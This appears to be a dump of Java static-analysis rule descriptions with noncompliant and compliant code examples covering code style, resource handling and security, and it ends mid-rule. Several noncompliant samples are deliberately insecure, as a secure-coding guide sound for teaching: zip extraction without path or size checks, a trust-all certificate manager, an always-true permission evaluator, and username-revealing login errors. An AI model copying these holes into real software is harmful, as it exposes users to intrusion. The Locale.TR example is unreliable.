Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable.

This rule raises an issue when code handle archives. The goal is to guide security code reviews.

Ask Yourself Whether

  • there is no validation of the name of the archive entry
  • there is no validation of the effective path where the archive entry is going to be expanded
  • there is no validation of the size of the expanded archive entry
  • there is no validation of the ratio between the compressed and uncompressed archive entry

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Validate the full path of the extracted file against the full path of the directory where files are uncompressed.
    • the canonical path of the uncompressed file must start with the canonical path of the directory where files are extracted.
    • the name of the archive entry must not contain "..", i.e. reference to a parent directory.
String canonicalDirPath = outputDir.getCanonicalPath();
String canonicalDestPath = targetFile.getCanonicalPath();

if (!canonicalDestPath.startsWith(canonicalDirPath + File.separator)) { // Sanitizer
  throw new ArchiverException("Entry is trying to leave the target dir: " + zipEntry.getName());
}
  • Stop extracting the archive if any of its entries has been tainted with a directory traversal path.
  • Define and control the ratio between compressed and uncompress bytes.
  • Define and control the maximum allowed uncompressed file size.
  • Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold.

Sensitive Code Example

java.util.zip.ZipFile zipFile = new ZipFile(zipFileName);

Enumeration<? extends ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()) {
  ZipEntry e = entries.nextElement(); // Sensitive
  File f = new File(outputDir, e.getName());
  InputStream input = zipFile.getInputStream(e);
  extractFile(new ZipInputStream(input), outputDir, e.getName());
}

Exceptions

This rule doesn't raise an issue when a ZipEntry or a ArchiveEntry:

  • is declared as a class field
  • is a parameter of an abstract method of an interface or abstract class

See

java:S5164

ThreadLocal variables are supposed to be garbage collected once the holding thread is no longer alive. Memory leaks can occur when holding threads are re-used which is the case on application servers using pool of threads.

To avoid such problems, it is recommended to always clean up ThreadLocal variables using the remove() method to remove the current thread’s value for the ThreadLocal variable.

In addition, calling set(null) to remove the value might keep the reference to this pointer in the map, which can cause memory leak in some scenarios. Using remove is safer to avoid this issue.

Noncompliant Code Example

public class ThreadLocalUserSession implements UserSession {

  private static final ThreadLocal<UserSession> DELEGATE = new ThreadLocal<>();

  public UserSession get() {
    UserSession session = DELEGATE.get();
    if (session != null) {
      return session;
    }
    throw new UnauthorizedException("User is not authenticated");
  }

  public void set(UserSession session) {
    DELEGATE.set(session);
  }

   public void incorrectCleanup() {
     DELEGATE.set(null); // Noncompliant
   }

  // some other methods without a call to DELEGATE.remove()
}

Compliant Solution

public class ThreadLocalUserSession implements UserSession {

  private static final ThreadLocal<UserSession> DELEGATE = new ThreadLocal<>();

  public UserSession get() {
    UserSession session = DELEGATE.get();
    if (session != null) {
      return session;
    }
    throw new UnauthorizedException("User is not authenticated");
  }

  public void set(UserSession session) {
    DELEGATE.set(session);
  }

  public void unload() {
    DELEGATE.remove(); // Compliant
  }

  // ...
}

Exceptions

Rule will not detect non-private ThreadLocal variables, because remove() can be called from another class.

See

java:S4065

Java 8 introduced ThreadLocal.withInitial which is a simpler alternative to creating an anonymous inner class to initialise a ThreadLocal instance.

This rule raises an issue when a ThreadLocal anonymous inner class can be replaced by a call to ThreadLocal.withInitial.

Noncompliant Code Example

ThreadLocal<List<String>> myThreadLocal =
    new ThreadLocal<List<String>>() { // Noncompliant
        @Override
        protected List<String> initialValue() {
            return new ArrayList<String>();
        }
    };

Compliant Solution

ThreadLocal<List<String>> myThreadLocal = ThreadLocal.withInitial(ArrayList::new);
java:S1905

Unnecessary casting expressions make the code harder to read and understand.

Noncompliant Code Example

public void example() {
  for (Foo obj : (List<Foo>) getFoos()) {  // Noncompliant; cast unnecessary because List<Foo> is what's returned
    //...
  }
}

public List<Foo> getFoos() {
  return this.foos;
}

Compliant Solution

public void example() {
  for (Foo obj : getFoos()) {
    //...
  }
}

public List<Foo> getFoos() {
  return this.foos;
}

Exceptions

Casting may be required to distinguish the method to call in the case of overloading:

class A {}
class B extends A{}
class C {
  void fun(A a){}
  void fun(B b){}

  void foo() {
    B b = new B();
    fun(b);
    fun((A) b); //call the first method so cast is not redundant.
  }

}
java:S1939

All classes extend Object implicitly. Doing so explicitly is redundant.

Further, declaring the implementation of an interface and one if its parents is also redundant. If you implement the interface, you also implicitly implement its parents and there's no need to do so explicitly.

Noncompliant Code Example

public interface MyFace {
  // ...
}

public interface MyOtherFace extends MyFace {
  // ...
}

public class Foo
    extends Object // Noncompliant
    implements MyFace, MyOtherFace {  // Noncompliant
  //...
}

Compliant Solution

public interface MyFace {
  // ...
}

public interface MyOtherFace extends MyFace {
  // ...
}

public class Foo implements MyOtherFace {
  //...
}
java:S1820

A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain, and having a lot of fields is an indication that a class has grown too large.

Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics.

java:S1941

For the sake of clarity, variables should be declared as close to where they're used as possible. This is particularly true when considering methods that contain early returns and the potential to throw exceptions. In these cases, it is not only pointless, but also confusing to declare a variable that may never be used because conditions for an early return are met first.

Noncompliant Code Example

public boolean isConditionMet(int a, int b) {
  int difference = a - b;
  MyClass foo = new MyClass(a);  // Noncompliant; not used before early return

  if (difference < 0) {
    return false;
  }

  // ...

  if (foo.doTheThing()) {
    return true;
  }
  return false;
}

Compliant Solution

public boolean isConditionMet(int a, int b) {
  int difference = a - b;

  if (difference < 0) {
    return false;
  }

  // ...

  MyClass foo = new MyClass(a);
  if (foo.doTheThing()) {
    return true;
  }
  return false;
}
java:S1700

It's confusing to have a class member with the same name (case differences aside) as its enclosing class. This is particularly so when you consider the common practice of naming a class instance for the class itself.

Best practice dictates that any field or member with the same name as the enclosing class be renamed to be more descriptive of the particular aspect of the class it represents or holds.

Noncompliant Code Example

public class Foo {
  private String foo;

  public String getFoo() { }
}

Foo foo = new Foo();
foo.getFoo() // what does this return?

Compliant Solution

public class Foo {
  private String name;

  public String getName() { }
}

//...

Foo foo = new Foo();
foo.getName()

Exceptions

When the type of the field is the containing class and that field is static, no issue is raised to allow singletons named like the type.

public class Foo {
  ...
  private static Foo foo;
  public Foo getInstance() {
    if(foo==null) {
      foo = new Foo();
    }
    return foo;
  }
  ...
}
java:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

Noncompliant Code Example

void foo(int n, int m) {
  switch (n) {
    case 0:
      switch (m) {  // Noncompliant; nested switch
        // ...
      }
    case 1:
      // ...
    default:
      // ...
  }
}

Compliant Solution

void foo(int n, int m) {
  switch (n) {
    case 0:
      bar(m);
    case 1:
      // ...
    default:
      // ...
  }
}

void bar(int m){
  switch(m) {
    // ...
  }
}
java:S1942

Java's import mechanism allows the use of simple class names. Therefore, using a class' fully qualified name in a file that imports the class is redundant and confusing.

Noncompliant Code Example

import java.util.List;
import java.sql.Timestamp;

//...

java.util.List<String> myList;  // Noncompliant
java.sql.Timestamp tStamp; // Noncompliant

Compliant Solution

import java.util.List;
import java.sql.Timestamp;

//...

List<String> myList;
Timestamp tStamp;
java:S1943

Using classes and methods that rely on the default system encoding can result in code that works fine in its "home" environment. But that code may break for customers who use different encodings in ways that are extremely difficult to diagnose and nearly, if not completely, impossible to reproduce when it's time to fix them.

This rule detects uses of the following classes and methods:

  • FileReader
  • FileWriter
  • String constructors with a byte[] argument but no Charset argument
    • String(byte[] bytes)
    • String(byte[] bytes, int offset, int length)
  • String.getBytes()
  • String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin)
  • InputStreamReader(InputStream in)
  • OutputStreamWriter(OutputStream out)
  • ByteArrayOutputStream.toString()
  • Some Formatter constructors
    • Formatter(String fileName)
    • Formatter(File file)
    • Formatter(OutputStream os)
  • Some Scanner constructors
    • Scanner(File source)
    • Scanner(Path source)
    • Scanner(InputStream source)
  • Some PrintStream constructors
    • PrintStream(File file)
    • PrintStream(OutputStream out)
    • PrintStream(OutputStream out, boolean autoFlush)
    • PrintStream(String fileName)
  • Some PrintWriter constructors
    • PrintWriter(File file)
    • PrintWriter(OutputStream out)
    • PrintWriter(OutputStream out, boolean autoFlush)
    • PrintWriter(String fileName)
  • methods from Apache commons-io library which accept an encoding argument when that argument is null, and overloads of those methods that omit the encoding argument
    • IOUtils.copy(InputStream, Writer)
    • IOUtils.copy(Reader, OutputStream)
    • IOUtils.readLines(InputStream)
    • IOUtils.toByteArray(Reader)
    • IOUtils.toByteArray(String)
    • IOUtils.toCharArray(InputStream)
    • IOUtils.toInputStream(TypeCriteria.subtypeOf(CharSequence))
    • IOUtils.toString(byte[])
    • IOUtils.toString(URI)
    • IOUtils.toString(URL)
    • IOUtils.write(char[], OutputStream)
    • IOUtils.write(CharSequence, OutputStream)
    • IOUtils.writeLines(Collection, String, OutputStream)
    • FileUtils.readFileToString(File)
    • FileUtils.readLines(File)
    • FileUtils.write(File, CharSequence)
    • FileUtils.write(File, CharSequence, boolean)
    • FileUtils.writeStringToFile(File, String)

See

  • CERT, STR04-J. - Use compatible character encodings when communicating string data between JVMs
  • CERT, STR50-J. - Use the appropriate method for counting characters in a string
java:S2912

One thing that makes good code good is the clarity with which it conveys the intent of the original programmer to maintainers, and the proper choice of indexOf methods can help move code from confusing to clear.

If you need to see whether a substring is located beyond a certain point in a string, you can test the indexOf the substring versus the target point, or you can use the version of indexOf which takes a starting point argument. The latter is arguably clearer because the result is tested against -1, which is an easily recognizable "not found" indicator.

Noncompliant Code Example

String name = "ismael";

if (name.indexOf("ae") > 2) { // Noncompliant
  // ...
}

Compliant Solution

String name = "ismael";

if (name.indexOf("ae", 2) > -1) {
  // ...
}
java:S1948

Fields in a Serializable class must themselves be either Serializable or transient even if the class is never explicitly serialized or deserialized. For instance, under load, most J2EE application frameworks flush objects to disk, and an allegedly Serializable object with non-transient, non-serializable data members could cause program crashes, and open the door to attackers. In general a Serializable class is expected to fulfil its contract and not have an unexpected behaviour when an instance is serialized.

This rule raises an issue on non-Serializable fields, and on collection fields when they are not private (because they could be assigned non-Serializable values externally), and when they are assigned non-Serializable types within the class.

Noncompliant Code Example

public class Address {
  //...
}

public class Person implements Serializable {
  private static final long serialVersionUID = 1905122041950251207L;

  private String name;
  private Address address;  // Noncompliant; Address isn't serializable
}

Compliant Solution

public class Address implements Serializable {
  private static final long serialVersionUID = 2405172041950251807L;
}

public class Person implements Serializable {
  private static final long serialVersionUID = 1905122041950251207L;

  private String name;
  private Address address;
}

Exceptions

The alternative to making all members serializable or transient is to implement special methods which take on the responsibility of properly serializing and de-serializing the object. This rule ignores classes which implement the following methods:

 private void writeObject(java.io.ObjectOutputStream out)
     throws IOException
 private void readObject(java.io.ObjectInputStream in)
     throws IOException, ClassNotFoundException;

See

java:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if ( !(a == 2)) { ...}  // Noncompliant
boolean b = !(i < 10);  // Noncompliant

Compliant Solution

if (a != 2) { ...}
boolean b = (i >= 10);
java:S4087

Java 7's try-with-resources structure automatically handles closing the resources that the try itself opens. Thus, adding an explicit close() call is redundant and potentially confusing.

Noncompliant Code Example

try (PrintWriter writer = new PrintWriter(process.getOutputStream())) {
  String contents = file.contents();
  writer.write(new Gson().toJson(new MyObject(contents)));
  writer.flush();
  writer.close();  // Noncompliant
}

Compliant Solution

try (PrintWriter writer = new PrintWriter(process.getOutputStream())) {
  String contents = file.contents();
  writer.write(new Gson().toJson(new MyObject(contents)));
  writer.flush();
}
java:S5804

User enumeration refers to the ability to guess existing usernames in a web application database. This can happen, for example, when using "sign-in/sign-on/forgot password" functionalities of a website.

When an user tries to "sign-in" to a website with an incorrect username/login, the web application should not disclose that the username doesn't exist with a message similar to "this username is incorrect", instead a generic message should be used like "bad credentials", this way it's not possible to guess whether the username or password was incorrect during the authentication.

If a user-management feature discloses information about the existence of a username, attackers can use brute force attacks to retrieve a large amount of valid usernames that will impact the privacy of corresponding users and facilitate other attacks (phishing, password guessing etc ...).

Ask Yourself Whether

  • The application discloses that a username exists in its database: most of the time it's possible to avoid this kind of leak except for the "registration/sign-on" part of a website because in this case the user must choose a valid username (not already taken by another user).
  • There is no rate limiting and CAPTCHA protection in place for requests involving a username.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

When a user performs a request involving a username, it should not be possible to spot differences between a valid and incorrect username:

  • Error messages should be generic and not disclose if the username is valid or not.
  • The response time must be similar for a valid username or not.
  • CAPTCHA and other rate limiting solutions should be implemented.

Sensitive Code Example

In a Spring-security web application the username leaks when:

  • The string used as argument of loadUserByUsername method is used in an exception message:
public String authenticate(String username, String password) {
  // ....
  MyUserDetailsService s1 = new MyUserDetailsService();
  MyUserPrincipal u1 = s1.loadUserByUsername(username);

  if(u1 == null) {
    throw new BadCredentialsException(username+" doesn't exist in our database"); // Sensitive
  }
  // ....
}
public String authenticate(String username, String password) {
  // ....
  if(user == null) {
      throw new UsernameNotFoundException("user not found"); // Sensitive
  }
  // ....
}
DaoAuthenticationProvider daoauth = new DaoAuthenticationProvider();
daoauth.setUserDetailsService(new MyUserDetailsService());
daoauth.setPasswordEncoder(new BCryptPasswordEncoder());
daoauth.setHideUserNotFoundExceptions(false); // Sensitive
builder.authenticationProvider(daoauth);

Compliant Solution

In a Spring-security web application:

  • the same message should be used regardless of whether it is the wrong user or password:
public String authenticate(String username, String password) throws AuthenticationException {
  Details user = null;
  try {
    user = loadUserByUsername(username);
  } catch (UsernameNotFoundException | DataAccessException e) {
    // Hide this exception reason to not disclose that the username doesn't exist
  }
  if (user == null || !user.isPasswordCorrect(password)) {
     // User should not be able to guess if the bad credentials message is related to the username or the password
    throw new BadCredentialsException("Bad credentials");
  }
}
DaoAuthenticationProvider daoauth = new DaoAuthenticationProvider();
daoauth.setUserDetailsService(new MyUserDetailsService());
daoauth.setPasswordEncoder(new BCryptPasswordEncoder());
daoauth.setHideUserNotFoundExceptions(true); // Compliant
builder.authenticationProvider(daoauth);

See

java:S4834

Controlling permissions is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can only damage what they have access to. Thus limiting their access is a good way to prevent them from wreaking havoc, but it has to be done properly.

This rule flags code that controls the access to resources and actions. The goal is to guide security code reviews.

More specifically it will raise issues on the following Spring code:

  • The definition of any class implementing interfaces

org.springframework.security.access.AccessDecisionVoter

org.springframework.security.access.AccessDecisionManager

org.springframework.security.access.AfterInvocationProvider

org.springframework.security.access.PermissionEvaluator

org.springframework.security.access.expression.SecurityExpressionOperations

org.springframework.security.access.expression.method.MethodSecurityExpressionHandler

org.springframework.security.core.GrantedAuthority

org.springframework.security.acls.model.PermissionGrantingStrategy

  • The definition of any class extending class

org.springframework.security.config.annotation.method.configuration.GlobalMethodSecurityConfiguration

  • Any method annotated with

Pre-post annotations: @PreAuthorize, @PreFilter, @PostAuthorize or @PostFilter from org.springframework.security.access.prepost package.

@org.springframework.security.access.annotation.Secured

  • Calls to any of the following methods

org.springframework.security.acls.model.MutableAclService: createAcl, deleteAcl, updateAcl

org.springframework.security.config.annotation.web.builders.HttpSecurity: authorizeRequests

  • The instantiation of an anonymous class implementing org.springframework.security.core.GrantedAuthority or of any class implementing this interface directly.

It will also raise issue on JSR-250 annotations @RolesAllowed, @PermitAll and @DenyAll from javax.annotation.security package.

Ask Yourself Whether

  • Granted permission to an entity (user, application) allow access to information or functionalities not needed by this entity.
  • Privileges are easily acquired (eg: based on the location of the user, type of device used, defined by third parties, does not require approval ...).
  • Inherited permission, default permission, no privileges (eg: anonymous user) is authorized to access to a protected resource.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

At minimum, an access control system should:

  • Use a well-defined access control model like RBAC or ACL.
  • Entities' permissions should be reviewed regularly to remove permissions that are no longer needed.
  • Respect the principle of least privilege ("_an entity has access only the information and resources that are necessary for its legitimate purpose_").

See

java:S1206

According to the Java Language Specification, there is a contract between equals(Object) and hashCode():

If two objects are equal according to the equals(Object) method, then calling the hashCode method on each of the two objects must produce the same integer result.

It is not required that if two objects are unequal according to the equals(java.lang.Object) method, then calling the hashCode method on each of the two objects must produce distinct integer results.

However, the programmer should be aware that producing distinct integer results for unequal objects may improve the performance of hashtables.

In order to comply with this contract, those methods should be either both inherited, or both overridden.

Noncompliant Code Example

class MyClass {    // Noncompliant - should also override "hashCode()"

  @Override
  public boolean equals(Object obj) {
    /* ... */
  }

}

Compliant Solution

class MyClass {    // Compliant

  @Override
  public boolean equals(Object obj) {
    /* ... */
  }

  @Override
  public int hashCode() {
    /* ... */
  }

}

See

  • MITRE, CWE-581 - Object Model Violation: Just One of Equals and Hashcode Defined
  • CERT, MET09-J. - Classes that define an equals() method must also define a hashCode() method
java:S1448

A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics.

java:S2658

Dynamically loaded classes could contain malicious code executed by a static class initializer. I.E. you wouldn't even have to instantiate or explicitly invoke methods on such classes to be vulnerable to an attack.

This rule raises an issue for each use of dynamic class loading.

Noncompliant Code Example

String className = System.getProperty("messageClassName");
Class clazz = Class.forName(className);  // Noncompliant

See

java:S3626

Jump statements such as return and continue let you change the default flow of program execution, but jump statements that direct the control flow to the original direction are just a waste of keystrokes.

Noncompliant Code Example

public void foo() {
  while (condition1) {
    if (condition2) {
      continue; // Noncompliant
    } else {
      doTheThing();
    }
  }
  return; // Noncompliant; this is a void method
}

Compliant Solution

public void foo() {
  while (condition1) {
    if (!condition2) {
      doTheThing();
    }
  }
}
java:S1449

Failure to specify a locale when calling the methods toLowerCase(), toUpperCase() or format() on String objects means the system default encoding will be used, possibly creating problems with international characters or number representations. For instance with the Turkish language, when converting the small letter 'i' to upper case, the result is capital letter 'I' with a dot over it.

Case conversion without a locale may work fine in its "home" environment, but break in ways that are extremely difficult to diagnose for customers who use different encodings. Such bugs can be nearly, if not completely, impossible to reproduce when it's time to fix them. For locale-sensitive strings, the correct locale should always be used, but Locale.ENGLISH can be used for case-insensitive ones.

Noncompliant Code Example

myString.toLowerCase()

Compliant Solution

myString.toLowerCase(Locale.TR)

See

  • CERT, STR02-J. - Specify an appropriate locale when comparing locale-dependent data
java:S5803

@VisibleForTesting can be used to mark methods, fields and classes whose visibility restrictions have been relaxed more than necessary for the API to allow for easier unit testing.

Access to such methods, fields and classes only possible thanks to this relaxed visibility is fine for test code, but it should be avoided in production code. In production code these methods should be treated as if they are private.

Supported framework:

* Guava: com.google.common.annotations.VisibleForTesting

* AssertJ: org.assertj.core.util.VisibleForTesting

* Android: androidx.annotation.VisibleForTesting

* Apache Flink: org.apache.flink.annotation.VisibleForTesting

Noncompliant Code Example

/** src/main/java/MyObject.java */

@VisibleForTesting String foo;

/** src/main/java/Service.java */

new MyObject().foo; // Noncompliant, foo is accessed from production code

Compliant Solution

/** src/main/java/MyObject.java */

@VisibleForTesting String foo;

/** src/test/java/MyObjectTest.java */

new MyObject().foo; // Compliant, foo is accessed from test code
java:S5808

Authorizations granted or not to users to access resources of an application should be based on strong decisions. For instance, checking whether the user is authenticated or not, has the right roles/privileges. It may also depend on the user's location, or the date, time when the user requests access.

Noncompliant Code Example

In a Spring-security web application:

  • the vote method of an AccessDecisionVoter type is not compliant when it returns only an affirmative decision (ACCESS_GRANTED) or abstains to make a decision (ACCESS_ABSTAIN):
public class WeakNightVoter implements AccessDecisionVoter {
    @Override
    public int vote(Authentication authentication, Object object, Collection collection) {  // Noncompliant

      Calendar calendar = Calendar.getInstance();

      int currentHour = calendar.get(Calendar.HOUR_OF_DAY);

      if(currentHour >= 8 && currentHour <= 19) {
        return ACCESS_GRANTED; // Noncompliant
      }

      // when users connect during the night, do not make decision
      return ACCESS_ABSTAIN; // Noncompliant
    }
}
  • the hasPermission method of an PermissionEvaluator type is not compliant when it doesn't return false:
public class MyPermissionEvaluator implements PermissionEvaluator {
    @Override
    public boolean hasPermission(Authentication authentication, Object targetDomainObject, Object permission) {
        //Getting subject
        Object user = authentication.getPrincipal();

        if(user.getRole().equals(permission)) {
              return true; // Noncompliant
        }

        return true;  // Noncompliant
    }
}

Compliant Solution

In a Spring-security web application:

  • the vote method of a AccessDecisionVoter type should return a negative decision (ACCESS_DENIED):
public class StrongNightVoter implements AccessDecisionVoter {
    @Override
    public int vote(Authentication authentication, Object object, Collection collection) {

      Calendar calendar = Calendar.getInstance();

      int currentHour = calendar.get(Calendar.HOUR_OF_DAY);

      if(currentHour >= 8 && currentHour <= 19) {
        return ACCESS_GRANTED;
      }

      // users are not allowed to connect during the night
      return ACCESS_DENIED; // Compliant
    }
}
public class MyPermissionEvaluator implements PermissionEvaluator {
    @Override
    public boolean hasPermission(Authentication authentication, Object targetDomainObject, Object permission) {
        //Getting subject
        Object user = authentication.getPrincipal();

        if(user.getRole().equals(permission)) {
              return true;
        }

        return false; // Compliant
    }
}

See

java:S4719

JDK7 introduced the class java.nio.charset.StandardCharsets. It provides constants for all charsets that are guaranteed to be available on every implementation of the Java platform.

  • ISO_8859_1
  • US_ASCII
  • UTF_16
  • UTF_16BE
  • UTF_16LE
  • UTF_8

These constants should be preferred to:

- the use of a String such as "UTF-8" which has the drawback of requiring the catch/throw of an UnsupportedEncodingException that will never actually happen

- the use of Guava’s Charsets class, which has been obsolete since JDK7

Noncompliant Code Example

try {
  byte[] bytes = string.getBytes("UTF-8"); // Noncompliant; use a String instead of StandardCharsets.UTF_8
} catch (UnsupportedEncodingException e) {
  throw new AssertionError(e);
}
// ...
byte[] bytes = string.getBytes(Charsets.UTF_8); // Noncompliant; Guava way obsolete since JDK7

Compliant Solution

byte[] bytes = string.getBytes(StandardCharsets.UTF_8)
java:S3749

Spring @Component, @Controller, @Service, and @Repository classes are singletons by default, meaning only one instance of the class is ever instantiated in the application. Typically such a class might have a few static members, such as a logger, but all non-static members should be managed by Spring. That is, they should have one of these annotations: @Resource, @Inject, @Autowired or @Value.

Having non-injected members in one of these classes could indicate an attempt to manage state. Because they are singletons, such an attempt is almost guaranteed to eventually expose data from User1's session to User2.

This rule raises an issue when a singleton @Component, @Controller, @Service, or @Repository, not annotated with @ConfigurationProperties, has non-static members that are not annotated with one of:

  • org.springframework.beans.factory.annotation.Autowired
  • org.springframework.beans.factory.annotation.Value
  • javax.annotation.Inject
  • javax.annotation.Resource

Noncompliant Code Example

@Controller
public class HelloWorld {

  private String name = null;

  @RequestMapping("/greet", method = GET)
  public String greet(String greetee) {

    if (greetee != null) {
      this.name = greetee;
    }

    return "Hello " + this.name;  // if greetee is null, you see the previous user's data
  }
}

See

java:S4838

This rule raises an issue when an iteration over the items of a Collection is performed on a super-type of the type handled by the Collection.

Relying on Object or any classes between Object and the real class handled by the Collection is not recommended. While it's accepted by the language, this practice reduces readability of the code and forces to down-cast the item of the Collection to be able to call a method on it while simply using the correct type in the iteration makes things more clear and simple.

Noncompliant Code Example

public Collection<Person> getPersons() { ... }

for (Object item : getPersons()) { // Noncompliant
  Person person = (Person) item; // Noncompliant; it's required to down-cast to the to correct type to use "item"
  person.getAdress();
}

Compliant Solution

for (Person person : getPersons()) { // Compliant
  person.getAddress() ;
}
java:S3740

Generic types shouldn't be used raw (without type parameters) in variable declarations or return values. Doing so bypasses generic type checking, and defers the catch of unsafe code to runtime.

Noncompliant Code Example

List myList; // Noncompliant
Set mySet; // Noncompliant

Compliant Solution

List<String> myList;
Set<? extends Number> mySet;
java:S3981

The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the collection or array instead.

Noncompliant Code Example

if (myList.size() >= 0) { ... }

if (myList.size() < 0) { ... }

boolean result = myArray.length >= 0;

if (0 > myArray.length) { ... }

Compliant Solution

if (!myList.isEmpty()) { ... }

if (myArray.length >= 42) { ... }
java:S1200

According to the Single Responsibility Principle, introduced by Robert C. Martin in his book "Principles of Object Oriented Design", a class should have only one responsibility:

If a class has more than one responsibility, then the responsibilities become coupled.

Changes to one responsibility may impair or inhibit the class' ability to meet the others.

This kind of coupling leads to fragile designs that break in unexpected ways when changed.

Classes which rely on many other classes tend to aggregate too many responsibilities and should be split into several smaller ones.

Nested classes dependencies are not counted as dependencies of the outer class.

Noncompliant Code Example

With a threshold of 5:

class Foo {                        // Noncompliant - Foo depends on too many classes: T1, T2, T3, T4, T5, T6 and T7
  T1 a1;                           // Foo is coupled to T1
  T2 a2;                           // Foo is coupled to T2
  T3 a3;                           // Foo is coupled to T3

  public T4 compute(T5 a, T6 b) {  // Foo is coupled to T4, T5 and T6
    T7 result = a.getResult(b);    // Foo is coupled to T7
    return result;
  }

  public static class Bar {        // Compliant - Bar depends on 2 classes: T8 and T9
    T8 a8;
    T9 a9;
  }
}
java:S2653

There is no reason to have a main method in a web application. It may have been useful for debugging during application development, but such a method should never make it into production. Having a main method in a web application opens a door to the application logic that an attacker may never be able to reach (but watch out if one does!), but it is a sloppy practice and indicates that other problems may be present.

This rule raises an issue when a main method is found in a servlet or an EJB.

Noncompliant Code Example

public class MyServlet extends HttpServlet {
  public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
    if (userIsAuthorized(req)) {
      updatePrices(req);
    }
  }

  public static void main(String[] args) { // Noncompliant
    updatePrices(req);
  }
}

See

java:S3984

Creating a new Throwable without actually throwing it is useless and is probably due to a mistake.

Noncompliant Code Example

if (x < 0)
  new IllegalArgumentException("x must be nonnegative");

Compliant Solution

if (x < 0)
  throw new IllegalArgumentException("x must be nonnegative");
java:S1201

"equals" as a method name should be used exclusively to override Object.equals(Object) to prevent any confusion.

It is tempting to overload the method to take a specific class instead of Object as parameter, to save the class comparison check. However, this will not work as expected when that is the only override.

Noncompliant Code Example

class MyClass {
  private int foo = 1;

  public boolean equals(MyClass o) {  // Noncompliant; does not override Object.equals(Object)
    return o != null && o.foo == this.foo;
  }

  public static void main(String[] args) {
    MyClass o1 = new MyClass();
    Object o2 = new MyClass();
    System.out.println(o1.equals(o2));  // Prints "false" because o2 an Object not a MyClass
  }
}

class MyClass2 {
  public boolean equals(MyClass2 o) {  // Ignored; `boolean equals(Object)` also present
    //..
  }

  public boolean equals(Object o) {
    //...
  }
}

Compliant Solution

class MyClass {
  private int foo = 1;

  @Override
  public boolean equals(Object o) {
    if (this == o) {
        return true;
    }
    if (o == null || getClass() != o.getClass()) {
      return false;
    }

    MyClass other = (MyClass)o;
    return this.foo == other.foo;
  }

  /* ... */
}

class MyClass2 {
  public boolean equals(MyClass2 o) {
    //..
  }

  public boolean equals(Object o) {
    //...
  }
}
java:S3986

Few developers are aware of the difference between Y for "Week year" and y for Year when formatting and parsing a date with SimpleDateFormat. That's likely because for most dates, Week year and Year are the same, so testing at any time other than the first or last week of the year will yield the same value for both y and Y. But in the last week of December and the first week of January, you may get unexpected results.

According to the Javadoc:

A week year is in sync with a WEEK_OF_YEAR cycle. All weeks between the first and last weeks (inclusive) have the same week year value. Therefore, the first and last days of a week year may have different calendar year values.

For example, January 1, 1998 is a Thursday. If getFirstDayOfWeek() is MONDAY and getMinimalDaysInFirstWeek() is 4 (ISO 8601 standard compatible setting), then week 1 of 1998 starts on December 29, 1997, and ends on January 4, 1998. The week year is 1998 for the last three days of calendar year 1997. If, however, getFirstDayOfWeek() is SUNDAY, then week 1 of 1998 starts on January 4, 1998, and ends on January 10, 1998; the first three days of 1998 then are part of week 53 of 1997 and their week year is 1997.

Noncompliant Code Example

Date date = new SimpleDateFormat("yyyy/MM/dd").parse("2015/12/31");
String result = new SimpleDateFormat("YYYY/MM/dd").format(date);   //Noncompliant; yields '2016/12/31'

Compliant Solution

Date date = new SimpleDateFormat("yyyy/MM/dd").parse("2015/12/31");
String result = new SimpleDateFormat("yyyy/MM/dd").format(date);   //Yields '2015/12/31' as expected

Exceptions

Date date = new SimpleDateFormat("yyyy/MM/dd").parse("2015/12/31");
String result = new SimpleDateFormat("YYYY-ww").format(date);  //compliant, 'Week year' is used along with 'Week of year'. result = '2016-01'
java:S1444

There is no good reason to declare a field "public" and "static" without also declaring it "final". Most of the time this is a kludge to share a state among several objects. But with this approach, any object can do whatever it wants with the shared state, such as setting it to null.

Noncompliant Code Example

public class Greeter {
  public static Foo foo = new Foo();
  ...
}

Compliant Solution

public class Greeter {
  public static final Foo FOO = new Foo();
  ...
}

See

java:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

This rule raises an issue when an implementation of X509TrustManager is not controlling the validity of the certificate (ie: no exception is raised). Empty implementations of the X509TrustManager interface are often created to disable certificate validation. The correct solution is to provide an appropriate trust store.

Noncompliant Code Example

class TrustAllManager implements X509TrustManager {

    @Override
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {  // Noncompliant, nothing means trust any client
    }

    @Override
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // Noncompliant, this method never throws exception, it means trust any client
        LOG.log(Level.SEVERE, ERROR_MESSAGE);
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return null;
    }
}

See

java:S3864

According to its JavaDocs, java.util.Stream.peek() “exists mainly to support debugging” purposes. Although this does not mean that using it for other purposes is discouraged, relying on peek() without careful consideration can lead to error-prone code such as:

